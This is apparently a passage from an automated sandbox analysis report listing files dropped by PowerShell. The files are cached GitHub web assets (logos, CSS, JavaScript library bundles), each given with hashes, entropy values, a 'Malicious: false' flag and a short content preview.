SHA-256:	476EDA9F3BEA43CF4A9D8952D982B91388CB936A6F9ADEDD26424977CC1F7EB7
SHA-512:	F1F19955C4E4B6EBC0116299F2D48D5A264B1D91196800400FD66DD155401EEE23966E3859FD8DD96DA388203EF6EE11DAC6EF3EE022CDB3301DEEA60A6AC2D2
Malicious:	false
Preview:	<svg width="84" height="37" viewBox="0 0 84 37" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M35.5422 12.9121C39.5071 3.19001 32.0891 0.547241 27.2716 0.547241H11.2845C11.7498 0.839491 12.0921 1.29075 12.2471 1.81639C12.4021 2.34202 12.3592 2.90591 12.1265 3.40229L2.81131 33.0354C2.58844 33.6117 2.25204 34.1377 1.82189 34.5825C1.39174 35.0272 0.876519 35.3817 0.306641 35.6251H13.2349C12.7223 35.4703 12.2917 35.1205 12.0363 34.6516C11.7809 34.1829 11.7214 33.6327 11.8707 33.1204L15.2493 22.4005C15.2493 22.4005 30.8208 24.5233 35.4997 12.9121H35.5422ZM22.9764 3.27491C24.6711 3.27491 29.3713 3.50842 26.323 12.3389C23.1257 21.6153 16.1232 19.7047 16.1232 19.7047L21.2925 3.27491H22.9657H22.9764Z" fill="#8B949E"/>.<path d="M45.8913 35.6464H54.599C51.4046 34.4776 48.4976 32.6429 46.0724 30.2653C47.995 28.4449 49.1593 25.9708 49.3339 23.3345H44.8254C45.087 23.5015 45.3027 23.7305 45.4533 24.001C45.6041 24.2714 45.685 24.5749 45.6888 24.8842C45.6562 26.0684 45.2497 27.2122 44.527 28

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\play-1844e8414ade[1].png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 178 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	6959
Entropy (8bit):	7.965979081661979
Encrypted:	false
SSDEEP:	192:zSYNweucyhtopm1eCqV0BuykfkmXhhUZ5uAu/I29:mkpSMqGVNdf5Xzgpu/IS
MD5:	6D88E0A1D5E2EE864BEC90EAA70830A9
SHA1:	230CE598066569E15D1A2D76B5409CCA39610AB8
SHA-256:	7D8D24FBB9F78577DF65F68F2CEE143371312F125DA18FFCF9EDEB78F687362F
SHA-512:	83244F2246B2CFB8996B23A1EEBEB4FE68D9636188A00C72784791594C68177E3B3E15808C09ADA07A4E8D76EB9158190C89E3D245877C2020591FC2A57169B5
Malicious:	false
Preview:	.PNG........IHDR....... ......$" ....pHYs.................sRGB.........gAMA......a.....IDATx..\{...q..`5b.j.0KUGf.%...n+..+...'q.Y'u.....l..W....Z....q.(....+QY.C...W..i.....k)..XJ......3.......{.w..<....o.....&....-z...J....9tz... B~/.H.T.1.sr....t..R.z......I.`...\.....`\|.....).!..E...w...y...r]...m...8a.I^.)C.T.....M.0...H.k...2n.O9..P'j.........Mo^........&...s.#0..a+.....i.T...(..U ..%..L#.#9....aR.~....>H.F^.Z2Y..k....84T.......v..5.h.(&...C.Z1I....R..../.[.z..K..jH....-V...a.eH`.....M..y...=xo...... ..+.q.. $l.-.>9u...l....S.Y.....-ijul.4kB.#........';.....n..%,..F..47N...U_...P...S.../.5..hS....8.\|.......0#l.L.....Y..mdT.....N.......5...P..2.\..s..b...>r.o....)..#.....n..[3[.[..@"TL..3.....+C.^.w.._ccY<..<.@c.E..`L.... ..4..1.?(.E.!...3..B.....\..1..!7T.O.z..Y.{<...7....2e...R1Z...d.%...O......1m..';.s.y.@\|>..2.U.-.O.3..+P....A.R....\yLe.(.;.i..c&... )X...2P.,QA&.{.. .1.Z:T..-..6i....*$.P.i%..B...$1....X..!..J....$.AW......

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\primer-fefb1a332c28[1].css

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	340610
Entropy (8bit):	5.0874203148419275
Encrypted:	false
SSDEEP:	6144:y/Igm1d5czYu1wX00d4yXZKK0b33yO/7OLHAp6c5b3CSQX+u3AcvY4zPWb:y/IgmX5czYu1wX00d4yXZKK0b33yOm32
MD5:	AD0B6E40828A9F272AF97C84E6E4D5B8
SHA1:	8D7DA19114BBE12914C66C78FC31CE29111A623C
SHA-256:	5E154C648DE1DB76C62A206E82C06A87DA452D1E40FFB8FD65B2F206E2202060
SHA-512:	FEFB1A332C2812530DAAC3EDF706229E43A55903422494B5566BA35DE8C2D8322367DC60046ACE9FE404DFC67E896D82E75A5A3EA7A6E4E08206F845C37769C1
Malicious:	false
Preview:	:root{--h00-size-mobile: 2.5rem;--h0-size-mobile: 2rem;--h1-size-mobile: 1.625rem;--h2-size-mobile: 1.375rem;--h3-size-mobile: 1.125rem;--h00-size: 3rem;--h0-size: 2.5rem;--h1-size: 2rem;--h2-size: 1.5rem;--h3-size: 1.25rem;--h4-size: 1rem;--h5-size: 0.875rem;--h6-size: 0.75rem;--body-font-size: 0.875rem;--font-size-small: 0.75rem}:root,[data-color-mode=light][data-light-theme=light],[data-color-mode=dark][data-dark-theme=light]{color-scheme:light}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme=light]{color-scheme:light}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme=light]{color-scheme:light}}[data-color-mode=light][data-light-theme=dark],[data-color-mode=dark][data-dark-theme=dark]{color-scheme:dark}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme=dark]{color-scheme:dark}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme=dark]{color-scheme:dark}}[data-color-mode]{color:va

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\primer-primitives-4cf0d59ab51a[1].css

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8523
Entropy (8bit):	4.958560902125245
Encrypted:	false
SSDEEP:	192:aeAanT1h375UaEmWWunHlmqEPHonHnqn3OH3aml6e5:ZrnT1hQOPmH43OH3aml6e5
MD5:	095A01E2F3BAC9B2B48BB28AD38A4A8D
SHA1:	91855599AF787299CECE3999ADAA4E440DFF84DC
SHA-256:	555BD75CF2FAD0DCFCBB3578D074A907D437F0832629F3D6F83C9CC4AE8B4EAA
SHA-512:	4CF0D59AB51A237735819FE02C3B39528990B6717C4D555DAD7053A842AC428AAD3166E66699E3277CD4D4D3A3E779B4896EF42B1C26934E0349B706D3C077C1
Malicious:	false
Preview:	/* CSS Layer definitions */.@layer primer-css-base, primer-react, recipes;..:root {. --base-size-2: 0.125rem;. --base-size-4: 0.25rem;. --base-size-6: 0.375rem;. --base-size-8: 0.5rem;. --base-size-12: 0.75rem;. --base-size-16: 1rem;. --base-size-20: 1.25rem;. --base-size-24: 1.5rem;. --base-size-28: 1.75rem;. --base-size-32: 2rem;. --base-size-36: 2.25rem;. --base-size-40: 2.5rem;. --base-size-44: 2.75rem;. --base-size-48: 3rem;. --base-size-64: 4rem;. --base-size-80: 5rem;. --base-size-96: 6rem;. --base-size-112: 7rem;. --base-size-128: 8rem;.}..:root {. --base-text-weight-light: 300;. --base-text-weight-normal: 400;. --base-text-weight-medium: 500;. --base-text-weight-semibold: 600;.}..:root {. --boxShadow-thin: inset 0 0 0 max(1px, 0.0625rem);. --boxShadow-thick: inset 0 0 0 max(2px, 0.125rem);. --boxShadow-thicker: inset 0 0 0 max(4px, 0.25rem);. --borderWidth-thin: max(1px, 0.0625rem);. --borderWidth-thick: max(2px, 0.125rem);. --borderWidth-thicker:

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\react-lib-7b7b5264f6c1[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (34095)
Category:	dropped
Size (bytes):	214542
Entropy (8bit):	5.301747636080632
Encrypted:	false
SSDEEP:	3072:EjJAtLyIMb1Ybvnh4VM/974mtExIQMjqMACROl3jy4tY:Eymuiw90mO4+0O9tY
MD5:	C0772C4A7A3F6A29256A69E8FECA82D8
SHA1:	75FF0ED2D25D36F7C6E933030E691228E37C5264
SHA-256:	4736F0203A41862C10E5B93529B15897813BCA088A8DC952250BA7C19B6901D9
SHA-512:	7B7B5264F6C11EB55ACA6B7788E67F89F5638A53C75589DFEBDB7E08F6FCAD5B2555A90EEFF60DA4578EE429CBBDF1D886F55A30355D9386D7006241E65EE632
Malicious:	false
Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["react-lib"],{17633:(e,t,n)=>{/*. @license React. * react-dom-server-legacy.browser.production.min.js. . Copyright (c) Facebook, Inc. and its affiliates.. . This source code is licensed under the MIT license found in the. * LICENSE file in the root directory of this source tree.. */var r=n(96540);function a(e){for(var t="https://reactjs.org/docs/error-decoder.html?invariant="+e,n=1;n<arguments.length;n++)t+="&args[]="+encodeURIComponent(arguments[n]);return"Minified React error #"+e+"; visit "+t+" for the full message or use the non-minified dev environment for full errors and additional helpful warnings."}var l=Object.prototype.hasOwnProperty,o=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\telus-df0c2109df99[1].svg

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3398
Entropy (8bit):	4.160008234998725
Encrypted:	false
SSDEEP:	96:OyVWyQQo5ZaJ1kMwUatT9JRu0jqamLSRAD:NijW1rwHRvmZ
MD5:	93C06469926BC84EBDE7C933D2D0C03A
SHA1:	D8D7F6591EE2DA41AEC9253BCC3D329B76A522FF
SHA-256:	F9235587AC8FA17CE0C3B16E179C237CAF98C19346C1F8BC5D5A86D5D8E1EC80
SHA-512:	DF0C2109DF99359FD92AD6363C2EA4690A8C1B20019233A35CA67154A6B8FEED2444E7CBC01B3BBFB987CC00516DE8AF349D3824D584FA9570DEE47B8ACF9F14
Malicious:	false
Preview:	<svg width="173" height="34" viewBox="0 0 173 34" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M102.97 10.0573V6.52588H90.3721V24.6954H102.97V21.0102H95.4725V16.9825H101.708V13.4554H95.4725V10.0573H102.97Z" fill="#8B949E"/>.<path d="M125.185 21.11H117.314V6.52588H112.151V24.6954H125.185V21.11Z" fill="#8B949E"/>.<path d="M166.769 13.4503C163.285 12.6654 162.065 12.5744 162.065 11.1883C162.065 9.90209 163.792 9.50202 164.785 9.50202C166.391 9.50202 168.288 9.87659 170.221 10.8677L171.627 7.52424C169.646 6.44426 167.104 5.99463 164.659 5.99463C159.854 5.99463 156.63 7.94399 156.495 11.7443C156.358 15.2102 159.176 16.5066 161.766 17.0415C164.262 17.5574 166.795 17.999 166.846 19.482C166.892 20.8498 165.662 21.4357 163.341 21.4357C161.192 21.4357 159.193 20.7449 157.151 19.8894L155.957 23.5236C158.305 24.5219 160.688 25.0721 163.145 25.0721C166.558 25.0721 169.049 24.5394 170.882 22.8182C172.153 21.6362 172.569 20.2093 172.569 18.8473C172.572 15.9754 170.782 14.3576 166.769 13.4

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vendors-node_modules_github_arianotify-polyfill_ariaNotify-polyfill_js-node_modules_github_mi-247092-b9c7cf3107b7[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (17157)
Category:	dropped
Size (bytes):	17299
Entropy (8bit):	5.366068569327091
Encrypted:	false
SSDEEP:	192:l45uDQdSn0B0t7n+eqiTjHlAYjQLkp55+Bpt9YNGyPhUBuOZKci/bcwCjM23EGx1:tj+Xi/mwfEWPnXCs5fDYt
MD5:	296C61843CF768161B75F8BA7DB0803A
SHA1:	A2FE171B4773A7EE5FE50B463CEF3CF99585A712
SHA-256:	DC3A837B7D3D883B43E92CA92DD8172255EE4A8254AE3D59075C955156D0EEBF
SHA-512:	B9C7CF3107B742310FCA225FD701B7035CF3F8AC9438C3B1E0BC1EEAD2C0747FC1E8FF9849DF20F13E8EE54054EC0E383E6A35919F89D8BCEE7FB9E123EA7BB1
Malicious:	false
Preview:	(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_github_arianotify-polyfill_ariaNotify-polyfill_js-node_modules_github_mi-247092","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_stacktrace-parser_dist_s-4c42670","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_stacktrace-parser_dist_s-4c42671","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_stacktrace-parser_dist_s-4c42672","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_stacktrace-parser_dist_s-4c42673","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_stacktrace-parser_dist_s-4c42674","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_stacktrace-parser_dist_s-4c42675","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_stacktrace-parser_dist_s-4c42676","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_stacktrace-parser_dist_s-4c42677","ven

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_delegated-events_dist_in-bae876-1e5b19a38261[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (23969)
Category:	dropped
Size (bytes):	24111
Entropy (8bit):	5.321431625288895
Encrypted:	false
SSDEEP:	384:oP+mPRpoVMroNPggcF7cTRvdfnbkKqGSfw968Z5/4P31:oPtRqGoNPNcF7i/bkKqGS6Z52F
MD5:	AA153B6001DC21117CA93208B0A6B253
SHA1:	7A98F69690D7C9D650B278D650D193D7825B40BA
SHA-256:	0465E07040ED01D5215E7475E3BA1D2BCB5C4E7991349925DF39643759A76B3B
SHA-512:	1E5B19A3826103E6CF610D3268159CC27EE8225B8CEB42BB81845CABBFE356F737CF817FEB1D372D70DEB2F7635EA4163B6D41F06E0AB8FAA01FEF3139C1B4F6
Malicious:	false
Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_delegated-events_dist_in-bae876","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_delegated-events_dist_in-0c3331","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_stacktrace-parser_dist_s-d3fcf5","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_delegated-events_dist_in-d6b80a0","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_delegated-events_dist_in-d6b80a1","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_delegated-events_dist_in-d6b80a2","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_delegated-events_dist_in-d6b80a3","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_delegated-events_dist_in-d6b80a4","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_delegated-events_dist_in-d6

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_stacktrace-parser_dist_s-6b2a62-6fef0f2ad42a[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (17354)
Category:	dropped
Size (bytes):	17496
Entropy (8bit):	5.257028238766121
Encrypted:	false
SSDEEP:	384:e4UKHHPUR3HoN4ZVkwEvQJCSql1VJPxbxKAxx/ixGXCWfz+T8afsCAiSu6fyU:8KnPE3HoN4ZVjEY4Sq/VDNJ//mG+T8eQ
MD5:	E3E4857924D7FD2911636A0BA704101C
SHA1:	648D5462E3B4B7F7F2821B2761B9124D608E71C1
SHA-256:	2932D08F82B03BF37304B22AED20C4D020D406161F5DAF6B5CB48024462C5BCC
SHA-512:	6FEF0F2AD42AB0F742BF3BD9B291DD4969BDF1415DD07D1248F7643CC0813E2F82406FD6A030EF3E0E18BF66C84BE0D0B7EE3745571BC4368743AA17BB1422F2
Malicious:	false
Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_stacktrace-parser_dist_s-6b2a62"],{70170:(t,e,i)=>{function n(t,e=0,{start:i=!0,middle:n=!0,once:r=!1}={}){let o,l=i,a=0,s=!1;function u(...c){if(s)return;let d=Date.now()-a;a=Date.now(),i&&n&&d>=e&&(l=!0),l?(l=!1,t.apply(this,c),r&&u.cancel()):(n&&d<e\|\|!n)&&(clearTimeout(o),o=setTimeout(()=>{a=Date.now(),t.apply(this,c),r&&u.cancel()},n?e-d:e))}return u.cancel=()=>{clearTimeout(o),s=!0},u}function r(t,e=0,{start:i=!1,middle:r=!1,once:o=!1}={}){return n(t,e,{start:i,middle:r,once:o})}i.d(e,{n:()=>n,s:()=>r})},24212:(t,e,i)=>{i.d(e,{q:()=>r});var n="<unknown>";function r(t){return t.split("\n").reduce(function(t,e){var i,r,p,b=function(t){var e=o.exec(t);if(!e)return null;var i=e[2]&&0===e[2].indexOf("native"),r=e[2]&&0===e[2].indexOf("eval"),a=l.exec(e[2]);return r&&null!=a&&(e[2]=a[1],e[3]=a[2],e[4]=a[3]),{file:i?null:e[2],methodName:e[1]\|\|n,a

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vendors-node_modules_github_relative-time-element_dist_index_js-6d3967acd51c[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (15356)
Category:	dropped
Size (bytes):	15461
Entropy (8bit):	5.1245135373284345
Encrypted:	false
SSDEEP:	384:1T7l7ZUtbzTU94HhXfwiOOxeX2WPTv+r2k1/Ki4gSd4N:1TjITUSHhXfwiOVX2WPTv+3j
MD5:	E89CAC3E3116110F5678D2857D9803D4
SHA1:	C357FA95477A3A0A1A63DEC0E9D2433D172BD005
SHA-256:	BF6DFA6B068F933D79071102DD912171C8FEEA27E9BB3F332EC9E6C358E199A2
SHA-512:	6D3967ACD51CEAED2DC7390DEA496C2DB52AFE8EB556126EE2B2F52B0B127E2869A921146554E8D1809EF22C2ABA53019700A283F4362D85B226AD6FB1F5871B
Malicious:	false
Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_github_relative-time-element_dist_index_js"],{4712:(t,e,i)=>{i.d(e,{ak:()=>_});var s,a,r,n,o,h,l,u,m,d,c,f,g=function(t,e,i,s,a){if("m"===s)throw TypeError("Private method is not writable");if("a"===s&&!a)throw TypeError("Private accessor was defined without a setter");if("function"==typeof e?t!==e\|\|!a:!e.has(t))throw TypeError("Cannot write private member to an object whose class did not declare it");return"a"===s?a.call(t,i):a?a.value=i:e.set(t,i),i},y=function(t,e,i,s){if("a"===i&&!s)throw TypeError("Private accessor was defined without a getter");if("function"==typeof e?t!==e\|\|!s:!e.has(t))throw TypeError("Cannot read private member from an object whose class did not declare it");return"m"===i?s:"a"===i?s.call(t):s?s.value:e.get(t)};let ListFormatPonyFill=class ListFormatPonyFill{formatToParts(t){let e=[];for(let i of t)e.push({type:"element",value:i}),e.push({type:"literal",value:", "})

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-893f9f-6cf3320416b8[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (9778)
Category:	dropped
Size (bytes):	9920
Entropy (8bit):	5.2332171546020145
Encrypted:	false
SSDEEP:	192:ww7uefarAaOWVXccYqOjt4GKrGXOjOklAVHr1LAKEIDqnUEIr0a:tIOWZhTOODGXOjOkqVHrRqnUEIrh
MD5:	FBBD4BCC22313DE76BCD2B3E4BB12E0B
SHA1:	1422FBB0C4A416EB66E429D2CF797ED29A70DCA5
SHA-256:	8060D4DE1A065854C98ADCC50F292DCAB8F424A9EDBDD4AABB7409CC4C6EAB99
SHA-512:	6CF3320416B89FCA281C439927AC3D76DA74F9463345A891C4904C8E50B476E21D11ED06AA2316CE770C36F18337AA4E2619BD3FD28A4CC8454D649110060726
Malicious:	false
Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-893f9f"],{13937:(e,t,n)=>{let r;n.d(t,{Ax:()=>u,JW:()=>c,ZV:()=>a});let ErrorWithResponse=class ErrorWithResponse extends Error{constructor(e,t){super(e),this.response=t}};function i(){let e,t;return[new Promise(function(n,r){e=n,t=r}),e,t]}let o=[],s=[];function a(e){o.push(e)}function u(e){s.push(e)}function c(e,t){r\|\|(r=new Map,"undefined"!=typeof document&&document.addEventListener("submit",l));let n=r.get(e)\|\|[];r.set(e,[...n,t])}function l(e){if(!(e.target instanceof HTMLFormElement)\|\|e.defaultPrevented)return;let t=e.target,n=function(e){let t=[];for(let n of r.keys())if(e.matches(n)){let e=r.get(n)\|\|[];t.push(...e)}return t}(t);if(0===n.length)return;let a=function(e){let t={method:e.method\|\|"GET",url:e.action,headers:new Headers({"X-Requested-With":"XMLHttpRequest"}),body:null};if("GET"===t.method.toUpperCase()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vendors-node_modules_github_turbo_dist_turbo_es2017-esm_js-858e043fcf76[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (39287)
Category:	dropped
Size (bytes):	77302
Entropy (8bit):	5.018073724692705
Encrypted:	false
SSDEEP:	1536:pypwJDn1NF2m8MXh3H5rWtO/C7lLlafnhr5t6XPrCnbmWyB7A3LsJXqOvW3qEApP:XJDPLaMjgwPc9oo
MD5:	BC119E97D7BBAC343F62984DC8D4DCFB
SHA1:	B7FE0A56CE370E54BAD0AAE6D96BF52CC192A03C
SHA-256:	09620D3F9286D39A8EEE8F036655E3555FAB6C6B6EA0ABD84A466AFF8AE3814F
SHA-512:	858E043FCF7611A217E05AE5A181C4ADDFA23F21A298036B48430FBAA153A7248777408C1238742E7F6C53CD6BB4A1D6B6F60344048FA3714DF464CE44B902E6
Malicious:	false
Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_github_turbo_dist_turbo_es2017-esm_js"],{7332:(e,t,s)=>{s.d(t,{H5:()=>PageRenderer,Uz:()=>D,YR:()=>O,dK:()=>o,gM:()=>q,session:()=>M}),function(){if(void 0===window.Reflect\|\|void 0===window.customElements\|\|window.customElements.polyfillWrapFlushCallback)return;let e=HTMLElement;window.HTMLElement=({HTMLElement:function(){return Reflect.construct(e,[],this.constructor)}}).HTMLElement,HTMLElement.prototype=e.prototype,HTMLElement.prototype.constructor=HTMLElement,Object.setPrototypeOf(HTMLElement,e)}(),function(e){"function"!=typeof e.requestSubmit&&(e.requestSubmit=function(e){var s;e?((s=e)instanceof HTMLElement\|\|t(TypeError,"parameter 1 is not of type 'HTMLElement'"),"submit"==s.type\|\|t(TypeError,"The specified element is not a submit button"),s.form==this\|\|t(DOMException,"The specified element is not owned by this form element","NotFoundError"),e.click()):((e=document.createElement("input"

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vendors-node_modules_lit-html_lit-html_js-ce7225a304c5[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (5043)
Category:	dropped
Size (bytes):	16023
Entropy (8bit):	5.315033994041752
Encrypted:	false
SSDEEP:	384:1O205atLCX47rjr/FaGxbHj29UzgEqGhikwYzP:1O205WLw4///Fhxbq9UzgE9gkwYzP
MD5:	B4DE96241178473D9F682DEA5A92E41B
SHA1:	E274C147C9BCB636B3BF4F9DF1ACFBADA27D8A90
SHA-256:	C823056C4E37D95CDEE809F535000BB37B9C8D956AB0410C98A6F4A8FAB4F47F
SHA-512:	CE7225A304C5935FA3FDAB2E736D9738651ED0FA6F4503BB65DEAEE022BC03C3033170D53ADC2C1A77C88904EA14A9603519B87990F04E47885209A53C893056
Malicious:	false
Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_lit-html_lit-html_js"],{66917:(t,e,i)=>{i.d(e,{q:()=>l,u:()=>n});/*. @license. * Copyright (c) 2017 The Polymer Project Authors. All rights reserved.. * This code may only be used under the BSD style license found at. * http://polymer.github.io/LICENSE.txt. * The complete set of authors may be found at. * http://polymer.github.io/AUTHORS.txt. * The complete set of contributors may be found at. * http://polymer.github.io/CONTRIBUTORS.txt. * Code distributed by Google as part of the polymer project is also. * subject to an additional IP rights grant found at. * http://polymer.github.io/PATENTS.txt. /let s=new WeakMap,n=t=>(...e)=>{let i=t(...e);return s.set(i,!0),i},l=t=>"function"==typeof t&&s.has(t)},79112:(t,e,i)=>{i.d(e,{Pf:()=>n,if:()=>l,o6:()=>s});/. @license. * Copyright (c) 2017 The Polymer Project Authors. All rights reserved.. * This code may only be used under the BSD style

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vendors-node_modules_oddbird_popover-polyfill_dist_popover_js-56729c905fe2[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (4772)
Category:	dropped
Size (bytes):	9608
Entropy (8bit):	5.179730593234402
Encrypted:	false
SSDEEP:	192:FXk3OeIPiCQ26YqdjhdFPWB/r0DXPfZU5qoP94G69tPw3xMsJW3re6K:F0ZINQ26Yqdjhdk99MPEGskK
MD5:	2EB9961E08F81BDCA617DDB67C2FB708
SHA1:	15CB6D7FFE93324B38BB62BCC4FF14D1A57F94BB
SHA-256:	0F2CD40AD364711DB1FEE03CF9F6CA04FC56F5C3BA497DC476C5879E129D968B
SHA-512:	56729C905FE263A6B7978BC67C09B8DAB69592E21AA9ADDBA78866790BDB2DBD85E41E6A6663D511E73A8EDEB75933B549B3C393A465748790A6FD50B337CEE9
Malicious:	false
Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_oddbird_popover-polyfill_dist_popover_js"],{59136:()=>{var e=class extends Event{oldState;newState;constructor(e,{oldState:t="",newState:o="",...n}={}){super(e,n),this.oldState=String(t\|\|""),this.newState=String(o\|\|"")}},t=new WeakMap;function o(o,n,r){t.set(o,setTimeout(()=>{t.has(o)&&o.dispatchEvent(new e("toggle",{cancelable:!1,oldState:n,newState:r}))},0))}var n=globalThis.ShadowRoot\|\|function(){},r=globalThis.HTMLDialogElement\|\|function(){},i=new WeakMap,l=new WeakMap,a=new WeakMap;function p(e){return a.get(e)\|\|"hidden"}var u=new WeakMap;function s(e,t){return!("auto"!==e.popover&&"manual"!==e.popover\|\|!e.isConnected\|\|t&&"showing"!==p(e)\|\|!t&&"hidden"!==p(e)\|\|e instanceof r&&e.hasAttribute("open"))&&document.fullscreenElement!==e}function c(e){return e?Array.from(l.get(e.ownerDocument)\|\|[]).indexOf(e)+1:0}function f(e){let t=l.get(e);for(let e of t\|\|[]){if(e.isConnected)return e;t.dele

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vendors-node_modules_primer_react_lib-esm_Dialog_Dialog_js-node_modules_primer_react_lib-esm_-34d71e-a36ca1cac968[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (24348)
Category:	dropped
Size (bytes):	24490
Entropy (8bit):	5.353579672632447
Encrypted:	false
SSDEEP:	384:Va2bhbZSq7D0E2bA4HinZlhKVBOXyqOZS+AcTF4v/HibnKqGxfn8MqWnu:VTxcyAhA4HinsBiAS+A1qbnKqGxNqWu
MD5:	235C7E57625B68C70218F9A1CC9768E6
SHA1:	CDF89A0DAEA1E1D57040F4DBC597C63D6417FA4A
SHA-256:	FDA8C0D51F8208FB7F217318DFD425B2E732244BE4CF73E4A0BAC1F58715330E
SHA-512:	A36CA1CAC9686D9F4462404AA4480F7E3BE199AA641BB92DE86FCED216B64A3D59D52C0015FAE46BF81577245E55B20BA0786D1D4254BD83D33A8D321281EF58
Malicious:	false
Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_primer_react_lib-esm_Dialog_Dialog_js-node_modules_primer_react_lib-esm_-34d71e","vendors-node_modules_primer_react_lib-esm_Spinner_Spinner_js-node_modules_github_catalyst_lib-e4675b","vendors-node_modules_primer_react_lib-esm_Spinner_Spinner_js-node_modules_primer_react_lib-es-b57d2c","vendors-node_modules_primer_react_lib-esm_Link_Link_js-node_modules_primer_react_lib-esm_Spin-d020100","vendors-node_modules_primer_react_lib-esm_Link_Link_js-node_modules_primer_react_lib-esm_Spin-d020101"],{86079:(e,t,n)=>{n.d(t,{l:()=>T});var 